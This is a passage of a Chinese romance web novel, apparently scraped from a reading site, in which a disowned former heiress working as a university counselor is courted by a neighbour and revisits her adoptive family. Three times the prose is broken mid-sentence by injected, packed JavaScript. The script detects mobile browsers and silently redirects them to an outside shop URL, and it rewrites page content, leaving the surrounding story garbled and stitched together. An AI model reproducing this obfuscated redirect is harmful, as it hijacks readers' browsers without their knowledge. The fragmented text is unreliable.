在室友的鼓动下,她选择主动告白,但江逸风的那句话,算是压垮她的最后一颗稻草。 那段时间,爷爷在住院,爸妈自始至终都没替她说过一句话。 整个暑假,陈夏柠在家里过着低人一等的日子。 终于在某天,陈慧棠找茬阴阳怪气道:“真的假不了,假的怎么装都成不了真,真不知道你怎么还有脸待在我们家,想继续骗取家产吗?” “......” 陈夏柠忍无可忍,语气平平:“我走,给你们腾地。” 爸妈继续当个旁观者,任由这些发生。 她的离开也无人在意。 她能去哪呢? 坐上公交车,一路到终点站,她都没想好去哪。 那一刻,陈夏柠终于有了自己被抛弃的真切感。 原来对于爸妈来说,她不过是一枚帮他们争夺家产的棋子。 萧婷和陈京辉很早就知道她不是亲生女儿,想必早就做好了随时失去她的准备。 就算不是被姑姑驱逐,等以后夫妻俩利用她拿到财产,陈夏柠估计也逃不了成为弃子的结局。 后来那个暑假她都住在许佳念家,陈夏柠对亲情心如死灰,即使后来爷爷打电话找她,她也不回去了。 看清楚了爸妈和江逸风的嘴脸,她再也不想回到不属于自己的地方——那些用门当户对来贬低她的家族。 大四开学,有关陈氏集团假千金的报道就满天飞了。 陈夏柠恍然觉得连海云市都容不下她,她想去一个新的地方重新开始。 大四下学期,她如愿收到墨尔本C大的offer,参加完爷爷的葬礼,就迫不及待地来到了墨尔本。 研一刚入学,同寝室全是中国留学生,最先见到的室友叫丁若,十分开朗和健谈,陈夏柠以为她们会成为很好的朋友。 可丁若是名富二代,一身的名牌衣服包包,每天去各种高档会所纸醉金迷,顺便带上其他两位室友。 陈夏柠每次都会委婉拒绝,因为她每天都很忙,除了兼顾学业还做很多兼职争取生活费。 渐渐地,她就被其他三位室友孤立了。 一学期结束,陈夏柠取得优异的期末成绩,丁若连挂了三科,对她的敌意愈发变大。 那天,陈夏柠在寝室里看书,丁若画着精致的妆容,在一旁冷嘲热讽:“穷酸成这样,也好意思来澳洲读研。有些人努力一辈子也买不起我一个包,这就是人和人的差距。” 陈夏柠也不恼,只是淡笑了下,想起曾经在海云市所遭受的对待。 其实她无论去哪,都会面临这样的对待,总会有跟自己天壤之别的人持有高高在上的优越感。 像她这样的人,的确不该跟那些豪门子弟打交道。 究其原因,门不当户不对吧。 ...... 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197282|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏柠难得推心置腹地说自己的遭遇,许佳念心里也酸酸的,恍然明白她的顾虑,“所以你在担心和周祈越的差距?他家到底多有钱啊?” 陈夏柠闭了下眼:“一个能戴得起两百万名表的暴发户。” “......”许佳念大吃一惊:“卧槽!他家是不是挖金矿的?” “我也不知道,也不想问。” 陈夏柠之前误以为他家就在朝阳岛,只是村里比较富裕的家庭,后来听他说自己只是暑假暂住在周诚家,以及她在海大贴吧里搜到几年前发布的有关他的帖子。 很多人都夸他长得帅有才能家庭好,底下有个人问:【他家到底是干什么的?航海世家吗?】 另一个人回复:【周学长很低调的,从不往外说自己家事,可以肯定的小道消息是,他家是做生意的,经济条件不错。】 虽然周祈越穿的衣服很朴素,看着跟平常人没区别,但陈夏柠看着名牌长大,还是能一眼识别出名牌衣服的标志。瞧见他那只价值两百多万的百达翡翠6104G时,陈夏柠心里就有一杆秤了。 许佳念连喝三杯水让自己冷静下来:“夏夏,我说句公道话。既然在你心里,周祈越完全不是那些纨绔子弟,那么你就该相信,如果他真的喜欢你,就不会让这些差距成为问题。” “动心一次多难得啊,可能以后你都不会再遇见这样的人了。” “这段感情还没开始你就想抹杀,你确定自己这么武断,以后不会后悔吗?” 陈夏柠垂下眼睫,沉默了一小会儿。 其实不止差距的问题,而是她以后肯定逃不了陈家的刁难,还要和那些人纠缠。 陈夏柠不想周祈越一次又一次地为她出头,卷入跟自己毫不相关的麻烦中。 许佳念:“夏夏,你还记得欠我一个愿望吗?” “记得。”陈夏柠点头。 “那我现在就要行使这个权利,让你帮我满足。”许佳念看着她,莞尔一笑,“我希望我的好朋友敢于直面自己的感情,找到真正的幸福。” 陈夏柠怔了一下,鼻尖微微发酸:“念念......” “好像自从出国后你就不怎么爱跟我倾诉心事了。你在国外待了三年半,我一直都不知道你过得怎样。” 许佳念像个暖心小太阳似的说,“以后别傻了吧唧地去微博发什么求助帖了,问我啊,姐妹我虽然爱幻想各种偶像剧情节,但关键时刻很靠谱的,绝对不坑你。” 陈夏柠微低着头,点头如捣蒜。 “不许哭啊。” “哪有,我有那么爱哭吗?” “有啊,高中那会儿你天天在我面前哭鼻子。” “......”陈夏柠讷讷道:“就偶尔,偶尔而已!” 小橘子待在猫背包里估计也闷得慌,两人吃饱了就没继续多待,许佳念还要带它去宠物医院。 往外走时,陈夏柠给她转钱,见状许佳念立马拦住说:“别啊,说好了我请,姐妹我最近真有钱,接了一个大项目。” “行,下次我请你。”陈夏柠问,“你要去哪个宠物医院啊?” 许佳念说了地名,跟海天宜城是反方向,陈夏柠停在餐厅门口说:“我打车回去好了,你给小橘子看完病就早点回家吧。” 刚说完这句话,旁边出来了三位男人,周祈越的声音好听到很有辨识度:“用不用我送你们回去?” 两姑娘循声源望去,许佳念很会自来熟,笑意盈盈地跟他招呼:“周学长,这么巧,你和朋友也来这家餐厅吃饭啊。” 周祈越点头嗯了一声,目光定在陈夏柠身上,她局促地挪开眼。 “夏夏,我先去宠物医院了。”许佳念朝她眨了下眼,撂下话,跑的比兔子还快。 张瑞正扛着醉醺醺的谢泽,瞥见陈夏柠也笑了下,说:“不用了,我叫的车到了。” 语毕,张瑞带着谢泽一起上车离开。 顷刻间,餐厅门口只剩下周祈越和陈夏柠两两相望。 他走过来,开口:“我的车在公园外面,一起回去吧。” 陈夏柠慢吞吞地应:“好。” 夜色沉寂,公园的路灯都是暖黄色,距离7出口需要经过一段梧桐大道。 望着路边长得高大魁梧的梧桐树,陈夏柠想起了朝阳岛梧桐县的梧桐,只不过现在树叶稀疏,不像夏日那般繁茂。 宽敞的青石板路上依旧漫步着许多行人,老人小孩,一家三口,或者上班党。 这个城市节奏很快,每天有无数人忙忙碌碌,但总有那么些地方可以让我们带着想见的人,一起慢下来,散散心,陪伴彼此。 在朝阳岛时,陈夏柠并没想到自己和周祈越会在海云市再次相遇。 更没想到他们还能有机会,等来秋天,漫步在梧桐树下。 像许许多多来这里散步的人一样。 秋日的晚风凉飕飕的,陈夏柠忍不住扯了扯薄开衫毛衣包裹着自己。 周祈越的脚步停住,注意到他脱外套的动作,她呼吸屏住。 在朝她走过来时,周祈越跟她对视,像是征求她的意见,陈夏柠控制不住似的,乖乖站着,让他把衣服披在自己身上。 男人就站在她面前,帮她整理外套的领子,仿佛所有的动作都在放慢,陈夏柠的心跳节奏也被他的举动牵引着。 每一秒都神经紧绷,又觉得虚幻。 “走吧。”周祈越拉开距离,神色极为自然。 反倒显得她不正常了。 陈夏柠拍了拍自己的脸,跟他一起坐上了车。 平日两人待在一起斗嘴的时刻居多,但今晚,他两格外安静。 陈夏柠缩在副驾驶,手指摸着她外套的边角。 有种和他更近一步的感觉。 这位平日骄傲耀眼的男人,就在她身边。 到了家门口,陈夏柠将他的外套脱下,两边交折,递给他:“谢谢。” 正要转身回家,头顶落下他的嗓音—— “陈夏柠。” “嗯?” 周祈越扯了扯唇角,眉目舒展,正如初见那样透露出不正经,“你的欲擒故纵不错,我也要放招了。” “......”陈夏柠呆呆地看他。 “通知你个事儿。”周祈越语气漫不经心,但看向她的眼眸极为认真,决定将自己的心意摊到明面上,“我要追你了。” 陈夏柠心跳停了下,随后突突直跳。 42. 恋爱 次日早饭后。 周祈越去小区快递柜领快递,从电梯出来,刚好隔壁的门挪开,他拆快递的动作一顿,抬眼望去。 陈夏柠跟他对视了一瞬,将头缩回去,快速关门。 “......” 周祈越勾唇笑了笑,转身进屋。 从快递盒子里掏出一只新手表,万宝龙款,一万五左右。 替换掉他手上那款百达翡翠6104G,妈妈送他的生日礼物。 碍于自己的工作性质,贵重的首饰在身上反倒不安全,周祈越一直把它搁置着,平日戴的手表价位基本不超过两万。 上一块手表在出海时摔过一次,前几天洗衣服忘记掏出来,在洗衣机里折腾一番,彻底废了。 本来想买个一模一样的,谁知官网已经绝版了。 一时间,纠结买什么表。 他就暂且用着妈妈送的那款。 昨天聚会时,谢泽盯着他那块表打量了半天,调侃他戴了块金砖。 他没怎么放在心上。 中途谢泽醉的不省人事,周祈越从二楼下来,问前台有没有醒酒茶。 服务员问了包厢号,说他们会亲自送上去。 周祈越点点头,折回去路过楼梯口,隔着一道屏风,猛然听见了自己的名字。 紧接着又听见熟悉的声音—— “所以你在担心和周祈越的差距?他家到底多有钱啊?” “一个能戴得起两百万名表的暴发户。” 周祈越:“......” “卧槽!他家是不是挖金矿的?” 周祈越:“........” 在社交场合,手表这种东西,太过奢侈反而脱离了它原本的用途,变成了身份象征。 尽管他只是把它当成一个时间仪器。 他从不在意别人的评价。 但他在意陈夏柠。 他还是不想被她拒之门外。 想告诉她,其实他们之间没有距离。 只要她肯回头,看到他。 陈夏柠昨晚的反应和今早一样,慌张无措地给他了一个沉默的闭门羹。 此时此刻,当事人正趴在沙发上使劲捶枕头呢。 立在茶几上的手机开着视频,许佳念一脸姨母笑:“是不是后悔了?” “太丢人了。”陈夏柠崩溃地抓了抓头发,“我怎么能两次都当缩头乌龟了呢?他会不会生气?” “你这就是典型的没谈过恋爱,跟个情窦初开的少女似的,”许佳念说,“既然他说要追你,还不至于这点考验就受不了。” “也就24小时之内吃了你两次闭门羹,被你无声拒绝两次而已。” “......”陈夏柠皱了下眉:“就关个门,还成拒绝了?” “事不过三,下次你还这样,”许佳念耸了耸肩,“真成拒绝,就把人吓跑了。” “......啊,那怎么办?”陈夏柠一脸认真地问。 “夏夏,你现在沉浸在被表白的喜悦当中,”许佳念特别想笑,比了个手势,“智商就剩这么一丢丢了。” “......” 没一会儿的功夫,陈夏柠连连被取笑两次了,忙不迭扔掉抱枕,板着脸说:“我哪有喜悦了!周祈越那个样子算是表白嘛,他是在跟我宣战!” “......” 许佳念一时无语,恍然发现陈夏柠变化很大。 虽然学生时代那些自卑怯弱还存在,但明显她开朗乐观更多,就连说话都特别有梗。 遇见什么样的人,你也会变成什么样的人。 或许,是跟周祈越相处的原因。 “你记得,以后和他正常相处就行了,偶尔也给他一些回应,不要一昧地拒绝人。”许佳念还有工作没继续多说,“挂了,真羡慕你这种有双休的。” ...... 陈夏柠周六休息了一天,周日一大早上就被书记通知,去公安局领自己的学生。 是公安局的电话打到学院官方了,书记查到是她的学生,陆策。 到了公安局,着手案件的林警官认真跟她讲了事情的经过。 陆策在某交友软件上认识了一名女生,两人互加微信,开启了三个月的网恋,期间该女生多次向他索要钱财。 昨天陆策以给八千元为要求,让该女生来酒店陪他一晚。 于是,网友奔现,女生的确长得很漂亮,陆策买着玫瑰花大胆示爱。 办理酒店入住,录入身份证时,酒店人员悄悄报了警,原因是该女生用同样的手段多次骗取男大学生,早就被公安局列入通缉名单。 所幸,警察来的及时,两人还没发生什么,就被逮捕了。 林警官将他们之间的转账交易做了个汇总,说:“陆策总共被骗了九万元人民币。” 陈夏柠震惊得嗓音都抬高:“九万?!” “是的,两人的微信转账很频繁。”林警官说,“女生已经被拘留了,后续将受到法律制裁。” 陈夏柠:“那...陆策他会不会有案底啊?” 陆策虽然是受害者,但涉嫌蓄意嫖/娼。 在公安局接受了思想教导,看在他还是学生,又有老师的多番求情,公安局决定网开一面,不给他留有案底。 “实在是不好意思,麻烦你们了,”导员就相当于学生在学校的家长,陈夏柠一直在鞠躬求情,“回到学校,我一定好好教训他。” 林警官让她签字再放人,闲散道:“没什么不好意思的,你们学校的学生快成我们公安局的常客了。” “......” 带陆策回校的路上,这男生情绪极为低迷,陈夏柠也没怎么说他,相信这件事足够给他长个教训了。 - 第二天工作日,王书记召集导员们简短开了个小会,专门说了学生诈骗这事。 “说了多少次了,你们一定要给学生做好防诈宣传,提高他们的防范意识!”王书记言辞激昂,唾沫星子直往外喷,“这一个月,我们学院接到公安局电话三次了!三次!” 她们办公室的女导员一并默不作声。 倒是坐在书记旁边的隔壁办公室的男辅导员,付别尘抹了把脸,打断话茬:“该开的班会都开了,咱航院清一色的单身爷们,再加上最近那些交友软件特别火,男同学想谈恋爱的心情也能理解,就是交友方式歪了而已。” 王书记:“那你说说,怎么纠正他们的交友方式?” 付别尘:“我哪知道,我们班又没有学生受骗。” 恰好第一节课结束,响起铃声。王书记速战速决,把矛头指向受骗学生的老师,“那就请陈老师想一个解决方案吧。” “......” 陈夏柠无辜躺枪,跟着鹿雯一同回办公室。 两个班的班长裴青寂和池一舟正在她办公位等着,最近刚评定完三好学生、优秀共青团员和学生干部,他们来交表。 陈夏柠检查了一番没什么问题,收好,想起开会内容,说:“以后班会改成一周两次,主题围绕防诈骗,特别提醒同学们不要网恋。” “知道了,导员。”裴青寂和池一舟齐应声。 池一舟离开后,裴青寂还站在她跟前,陈夏柠轻笑了下:“怎么了?” “我想跟你说一声谢谢。”裴青寂顿了一下,“助学金的事。” 第一次交来的助学金申请表放在她办公桌上,陈夏柠简单看了下,中途有事出去,再回来时,发现申请表少了裴青寂的。 相当于是,他自动放弃了名额。 陈夏柠将敲定的助学金申请名单上报给书记时,王书记发现按照百分比,2202班应该再多一个名额。 但当晚就是截止日期,陈夏柠就把裴青寂的名字报了上去。 因为相比之下,评定的特困学生都比不上裴青寂。他父亲去世,妈妈身患慢性疾病,连王书记都知道,毕竟当年给他办理参军时了解过。 后来陈夏柠想明白裴青寂的犹疑,他比班里的同学都大两岁,这次助学金评定有学生参与,他身为班长,很难拉下面子让同学了解他的家庭。 “没事儿,以后你继续提交,我不会让其他人看见的。”陈夏柠理解他的自强和骄傲,“也是凑巧这次多了个名额。上任导员跟我说,你大一的成绩很优秀,我看见朝阳岛支教的名额有你。” 裴青寂低头讪笑了声。 “挺好的,身为班长你也当之无愧,算是给你的激励。”陈夏柠多说了句,“以后好好兼顾学业和竞赛,还有课外实践,把目标放长远,拿国奖和十佳。” “好,谢谢导员。”被寄予厚望,裴青寂走出去的脚步都欢快。 鹿雯在旁边将两人的对话听了个大概,笑着说:“裴青寂可比那个温可颜的希望更大。” 明明前不久同事都说,温可颜是年纪第一,会给她长脸。陈夏柠惊讶这个画风转变,“什么意思?” “这小姑娘最近挺沉迷于恋爱的,”鹿雯说,“我监考他们专业的竞赛,温可颜在我那个考场,缺考了。” “因为谈恋爱?”陈夏柠没搞懂其中的逻辑,或许有其他事呢。 “陈老师,我们身为导员,还是要多跟学生打成一片,了解他们的课余生活的。”鹿雯打开手机,给她看一个表白墙,“隔壁航空大学都传疯了。” 江澈是航空航天大学的风云人物,他们学校表白墙全在热议他的女朋友温可颜,两人在校园中的亲密举止,大胆示爱,被很多人拍照转载。 陈夏柠总觉得那个江澈不是什么好人,她说的话,温可颜真是没听进去一点。 “算了。”她也无权干涉他们,叹了声气,“最近学生都挺沉迷于谈恋爱,病急乱投医的比比皆是。” “高中不让早恋,大学本来就是谈恋爱的时期。”鹿雯转问她,“书记让你想策略,你有头绪了没?” 陈夏柠仰头靠在座椅上,死气沉沉地摇头。 也真是可笑。 让一个恋爱经验为零的人,去引导学生正确恋爱。 我还想让别人教我怎么恋爱呢。 “......” - 晚自习查完班,陈夏柠也没什么事了,背上挎包,选择走楼梯下去。 快到一楼时,迎面上来两个女生,笑容灿烂。 “哎哎,坐在大厅的那位好帅啊。” “怎么以前没见过啊,是不是新来的老师啊,我还偷拍了他的照片。” 陈夏柠侧过脸,唇角弯了弯。 羡慕这样的青春,热烈张扬,敢于明目张胆地表达喜欢。 等她走到大厅,随意扫了眼休闲区,有几个学生正围着圆桌热议。 就在这时,坐在角落里的周祈越对上了她的目光,似乎将周遭所有人都忽略,一步步走向她。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223244|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 圆桌讨论的学生戛然而止,悄悄举起手机拍照拍他的身影。 男人身姿挺拔落阔,肤色偏冷白,褪去平日的嚣张狂妄,俊秀的脸庞平添了柔和,像校园剧的少年。 这种感觉蓦然把她拉回学生时代。 曾经她也只是人群中不起眼的女孩。 只能远远地望着一个耀眼的少年。 只可惜,她望向他的无数次瞬间,都没得到回应。 如今同样有一位耀眼的人,他满眼如星星璀璨,在人群中,唯独看向了她。 周祈越来到她跟前,“走吧。” 碍于有其他人在,陈夏柠先跟他出去,漫步在林荫道下,纳闷道:“你怎么来了?” “接你下班啊。”周祈越放慢脚步,跟她并排走。 陈夏柠一字一顿道:“接我下班?” “都说了要追你,”周祈越眼高于顶,语气闲散,“我不得拿出行动,多在你面前献殷勤么。” “......” 献、殷、勤。 这三个字被他说的,完全丧失了本意,没有一点卑微,全是傲气。 陈夏柠脸颊一热,好在这两天的缓冲,让她坦然接受了周祈越要追她的事实。 “那我给你打个预防针,我很难追的。” 周祈越脚步一停,好整以暇地看她,气势不消反涨:“是嘛,我倒要看看你有多难追。” 陈夏柠:“......” 还真有一种,他在宣战的感觉。 路过海大西点房,灯还在开着,陈夏柠晚饭就喝了碗粥,这会儿也饿了,进去买点面包。 现在不是生意最旺的时间段,屋内就他们两。 看到了鸡蛋火腿芝士味三明治,陈夏柠喊他:“你要不要买点?” “好啊。”周祈越走过来,用夹子将面包放到塑料袋里,新出炉的,还冒着热气。 前台放着一个门铃,付款时按一下,后厨的师傅听到提示音就会过给他们结账。 “来了来了。”一位身着白色制服,体型发胖的大叔走过来。 陈夏柠经常来,他自然认识,视线直直地落在周祈越身上,想了几秒,立马笑了:“小伙子,是你啊,我认识你。” 周祈越也惊讶,这么多年,西点房的师傅竟然没换过。 陈夏柠看向他:“你也经常来吗?” “他是这个学校的学生,我记得他。”大叔在这工作多年,见过无数个学生,之所以对周祈越印象深刻,是因为一件事。 那是2016年11月,西点房刚成立半年,目前只有大叔和一个学徒在操劳。 一个英俊帅气的小伙子,将信封放到他面前,质问:“师傅,我都写了两周的意见信,你们怎么还不整改?” 大叔一愣:“原来是你啊,天天往那门口的意见箱塞信封!” “您看到了啊,我还以为没人看呢。”周祈越追问,“我的意见如何。” “看到了啊,因为就只有你一个人写信,”大叔呵笑,摆了摆手,“你的意见很好,但我不采用。” “......” 当时,西点房卖的最好的面包有好几款,其中就包括鸡蛋火腿芝士味三明治,每天早上一开门,半小时内绝对被抢空。 周祈越写信说明,同学们大冬天排着大长队买这个三明治,最后还可能买不到,建议西点房增加份量,让同学们都能买到,这样西点房也能更盈利。 “为什么啊,”周祈越不理解地问,“这不是双赢么?” “上级领导定期检查面包品种,每一种都要有。”大叔娓娓道来,“要是只做三明治,就没有面粉做其他品种的面包了,这每天的面粉供应量就五袋,况且我们两人精力有限,做不了这么多面包。” 周祈越不太理解这是什么规定,开始想策略:“面包房可以再招两个帮手,不能让大叔你一人忙活,面粉嘛,跟供应商多要几袋。” “你说的轻巧,合适的帮手有那么好找的?”大叔很挑剔地说,“我对面粉的品质要求很高的,那家供应商只能每天运来五袋。” “你把供应商推给我,我帮你协商。”周祈越胸有成竹地说,“招人也很容易啊。” 没想到一个星期后,西点房招到了两位新员工,面粉的问题也搞定了。 再次见到周祈越,大叔不禁佩服这小伙子:“可以啊你。” “我的意见能采用么?” “能能能。” 后来大叔了解到他是大四航海技术专业的学生,匪夷所思道:“你们也不常待学校,都要毕业了,大费周章地搞这番动作是干嘛?” 周祈越眼角弯了弯,讳莫如深地说:“因为有人喜欢吃。” 大叔看他神情,立刻猜出来了:“哦,我明白了,你这是为了喜欢的姑娘啊。” ...... “他当时还跟我死不承认,”大叔瞧着周祈越,依旧笃定当年的想法,嘿嘿一笑,“绝对是为了喜欢的姑娘。” 陈夏柠眨了下眼,想起他大学时期有位喜欢的女孩子。 周祈越也是佩服大叔记得这么清楚,“都八年了,您应该早忘记了啊。” “我还是第一次看见有男孩子像你这么良苦用心,不知道你后来跟那个姑娘怎么样了。”说话间,大叔看了眼跟他一起的姑娘,猜测,“是这位吗?” 陈夏柠忙不迭狂摇头:“不是。” 43. 暧昧吃醋 大叔愣了三秒,尴尬一笑:“不好意思啊,认错人了。” 陈夏柠:“没事儿。” 说话间,周祈越已经付好款,连带着她那份,收好手机瞧了眼她,“她啊,是我正在追的姑娘。” 拎着面包要走的陈夏柠:“......” 一时间,大叔的眼波在两人不停流转,大脑没转过弯,脱口而出:“祝你们百年好合。” “......” 氛围尴尬到了极点,陈夏柠用最快的速度开溜。 周祈越跟大叔道别,追了出去。 大叔挠了挠头,困惑道:“怎么感觉就是同一个人呢,这么多年,还没表白吗?” 说完又在心里否定了这个答案。 毕竟时代变了,哪还有什么从一而终的喜欢。 旧的不去新的不来,才是这个快餐时代的常态。 海大的校区真的很大,总共有七个门,距离家最近的出口是五号门和七号门。 陈夏柠回家经常选择五号门,但最近五号门装修,改选七号门。 一路走过去,学生越来越少,整条宽敞的沥青路只剩下他们两人。 陈夏柠只顾着低头咬面包,没主动和周祈越搭话,一方面真的很饿,另一方面还没从方才的尴尬中缓解。 “这算是海大最清冷的一条路了。”周祈越望了望四周干秃秃的树干和少得可怜的路灯,说,“你平日都是这个时间点下班么?” “说不准,”陈夏柠嘴里嚼着面包,含混不清地说,“这得看我查完班还有没有其他工作要忙。” 周祈越:“那你每天下班前十分钟给我发个消息。” 陈夏柠愣了下,抬头看他:“你每天都要来?” 周祈越眉梢微扬,视线落在她唇角的面包渍上:“怎么,这个机会都不给?” 陈夏柠将口中的面包咽下,犹疑地说:“可以是可以,但你不能...这么招摇。” 说完她慌张地加快脚步。 周祈越阔步拦在她面前,困惑地问:“我哪招摇了?” 陈夏柠抬起眼睫,哼哧一声:“怎么没有,刚刚好多学生偷拍你啊。” “哦,我明白了。” 周祈越眉骨一抬,后背弯起,整个欠身靠过来。 他抬起右手,虎口抵在她下颌,大拇指摩挲在她唇角,一下又一下地帮她擦面包渍,垂着眼说:“你这是想把我藏起来。” “......” 与他四目相对,陈夏柠的魂都被勾走了,他瞳孔在泛着浅蓝色光影。 又特别又好看的眼睛,温柔又摄人心魂。 说不来的、强烈的熟悉感。 而后听见自己的心跳声,怦怦地躁动起来。 因为他的手指就在唇边,她觉得唇角发热,说不出话。 心里想的是—— 不仅想把你藏起来,还想住在你眼睛里。 旁边的路灯泛着暖黄色光线,不偏不倚地落在两人的脸庞,从远处看,男人弯腰的背影将她掩盖住,像是两位情侣在接吻。 因为灯光太暗,他略微抬起她的下巴,检查有没有擦干净。 陈夏柠双脚好似灌满了铅,像只被大灰狼掌控的小白兔,动弹不得,任由他处置。 她不禁纳闷,他怎么能如此坦然,认真地做这么暧昧的举动。 相比之下,她感觉心都要跳出胸腔了。 须臾,周祈越松手,拉开距离,勾着唇悠悠道:“那我以后来接你,戴上口罩和墨镜。” “......” 陈夏柠跟着他继续走,认真想了想那个场面。 很快,一个拽酷的周保镖形象闪现脑海。 反倒更招摇了吧。 陈夏柠真服了他的“诡计”,收回自己的话:“我就开个玩笑,你不用当真。” 出了校门,各色店铺热闹非凡,以前这里全是流动商铺,现在全变成店铺了。 陈夏柠很少从这个门出来,回国后也没逛过这。周祈越看起来比她熟悉,带她来到一家酱香饼店铺。 他提议:“看你饿得不行,要不来个大份的?” 陈夏柠点头嗯了声,抬头望着门店招牌“大同学酱香饼”,神色怔了怔。 周祈越付好钱,把酱香饼递给她,又指着隔壁排着长队的店铺说:“你等我会儿,我去买。” 陈夏柠又看向隔壁的“小同学粥铺”,不禁弯唇笑了。 记忆一下拉回学生时代,那个时候这两家店还是流动摊位,因为名字原因,被称之为兄弟摊位。 陈夏柠就特别喜欢这两家的小吃,每回路过都要买一点。 挺意外的,这么多年了,这两个招牌竟然还在。 她尝了一口酱香饼,的确是当年那个味道。 周祈越跑回来,撕开吸管包装,插入热乎的粥,递给她:“小心烫啊。” 陈夏柠咬着吸管喝了一口,目光一顿,茫然地抬眼看他:“你怎么知道我想喝红豆薏米粥啊?” 周祈越看向别处,闲散道:“是嘛,随便买的,觉得姑娘都喜欢这个口味。” “哦。”陈夏柠恍然明白了什么,面无表情道,“你之前追的女孩喜欢这个口味是吧。” 周祈越瞧她一眼,不置可否,朝海天宜城的方向走。 陈夏柠跟在他身后,穷追不舍道:“你大学喜欢的女孩子是什么样?” “......” “欸,你跟我说说嘛,我都跟你说过我的过去了,”她拦在他面前,好奇心爆棚,“别这么小气嘛。” 周祈越双手抄兜,好整以暇地看她:“她总是憨憨的,挺可爱。” “哦。你以前喜欢可爱型的。”陈夏柠咬了下吸管,面色一沉,“那我不是。” 说完,利落转身,走的极快。 周祈越在身后喊,嗓音带着笑意:“你不会吃醋了吧!” “你少自恋了!” “......” 陈夏柠一口气跑回家,把酱香饼和红豆薏米粥消灭得干干净净。久违的味道,依旧很怀念。 还是曾经的大学室友季意教会她的法子,心情不好的时候,去外面的小吃摊消遣一顿就好了。 因为季意的口头禅就是,唯有美食不可辜负。 在此之前,爸妈管制她,压根不让她吃小吃摊。 现在一想,大学时光还是有值得留念的回忆。陈夏柠盯着微信列表,三位室友都没留在海云市,各自回家乡发展了,也不知道她们现在怎样。 倏然,周祈越的消息跳出来:【以后你提曾经的暗恋对象,我也吃醋[咧嘴]】 陈夏柠笑了笑:【吃醋又能奈我何,你还不是我男朋友[吐舌]】 July:【我早晚会转正[傲娇]】 陈夏柠脸一热,不知该说些什么,只发了个表情包:【加油.jpg】 冷静一想,没什么可介意的。 每个人都有过去,就像她也曾经喜欢过江逸风。 那周祈越喜欢她,应该是从朝阳岛开始的吧。 - 往后一周,周祈越都按时接她下班。 陈夏柠依旧没想出引导学生正确交友的策略,因为学院最近有几个职位调动,其中要来一个新上任的院长,全院都在忙着对接工作的事,书记也没催她。 周一上班,她们的办公位分别放了一盒月饼,陈夏柠恍然意识到进入月底了,今年的中秋撞上了国庆假。 她看了看农历日历,发现今天是爷爷的生日。陈淮松在世的时候,每年生辰都要过的。 下午她提前处理好当日工作,四点钟从办公室里出来,在学校附近买了一盆开得极好的长寿花,拦了辆出租车去墓园。 陈淮松所在的墓园距离陈家别墅很近,黎山区一带自然风景优美,坐落着许多英式别墅,虽远离市中心,也被称之为富人区。 陈夏柠在墓园里找到陈淮松的墓碑,将长寿花放到跟前。 她蹲下,抬手拂去墓碑的灰尘,照片上的老人和生前一样和蔼。 “爷爷,夏夏带着您最喜欢的长寿花来了。”陈夏柠仰头盯着照片,想起那个总是待在后花园裁剪花草的老人,他最喜欢的长寿花,不仅代表长寿,也象征着家庭和睦。 “生日快乐,爷爷。” “......” 陈夏柠又自顾自地说了些自己的生活,注意到天色渐暗,是时候离开了。 她站起身,视线一转,陈京辉正抱着菊花走过来,距离已经近到避无可避。 陈京辉弯腰将菊花放下,转身看向她:“就猜到你会来。” 陈夏柠往后退一步,低垂着眼:“没什么事,我先走了。” “夏夏。”陈京辉喊住她,打着感情牌,“怎么说,我们都是父女一场,回国大半年了,你还没回家看看呢。” 陈夏柠低叹了声气:“您有事就直说。” “回家吃顿饭。”陈京辉笑了笑,“这几年对你的忽略,是爸妈不对,跟你道个歉。” “......” 当年离开的匆忙,家里还有很多东西没拿,陈夏柠跟着陈京辉一起上车回去。 一路上,基本陈京辉在说话,她跟着点头附和。 车子驶进陈家别墅,陈夏柠心情莫名忐忑,不知该怎么面对萧婷。 毕竟当年被姑姑羞辱,她说要走。 萧婷不仅冷眼旁观,在和陈京辉吵架时说:“反正她不是咱亲生女儿,也没什么用处了,走就走吧。” “我养了她这么多年,现在不想养了,我不要她了行吗?” 这句话的伤人程度,以至于曾经很长一段时间,陈夏柠每每回想起都会忍不住流泪。 保姆还是张姨,见到她,惊喜一笑:“夏夏回来啦。” 陈夏柠抿了下唇,点头嗯了一声。 陈京辉:“张姨,今天多加一双筷子。” “好嘞,”张姨说,“夫人找江夫人打牌去了,还没回来。” 陈夏柠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想要遗产才是他真正的目的。 陈夏柠接话茬:“爷爷生前创立基金会,如果是他在世的话,肯定希望自己的钱用在慈善事业上。” “......” 陈京辉神色一凛。 “我想你们搞错了,爷爷并没有把钱留给我,”陈夏柠说,“毕竟我又不是他亲孙女。” 刚好张姨抱着纸箱出来,陈夏柠走过去接住,背对着陈京辉,淡淡道:“既然你们说过,我没利用价值了,那么,我们从此以后,就互不打扰吧。” 说完,她走出了门。 陈夏柠只想赶快离开这里,快步走向庭院的大门,倏然,迎面走进一位装扮亮丽的同龄人,她留着公主切,红色夹克搭配黑短裤。 她的面部线条很刻意,像是整容过的网红脸。 全程两人没搭话,只有短暂的眼神交流。 她应该就是真千金吧。 走出别墅时,陈夏柠猜想。 * 天空黑稠如浓墨,厚重的云层挡住大片月亮。 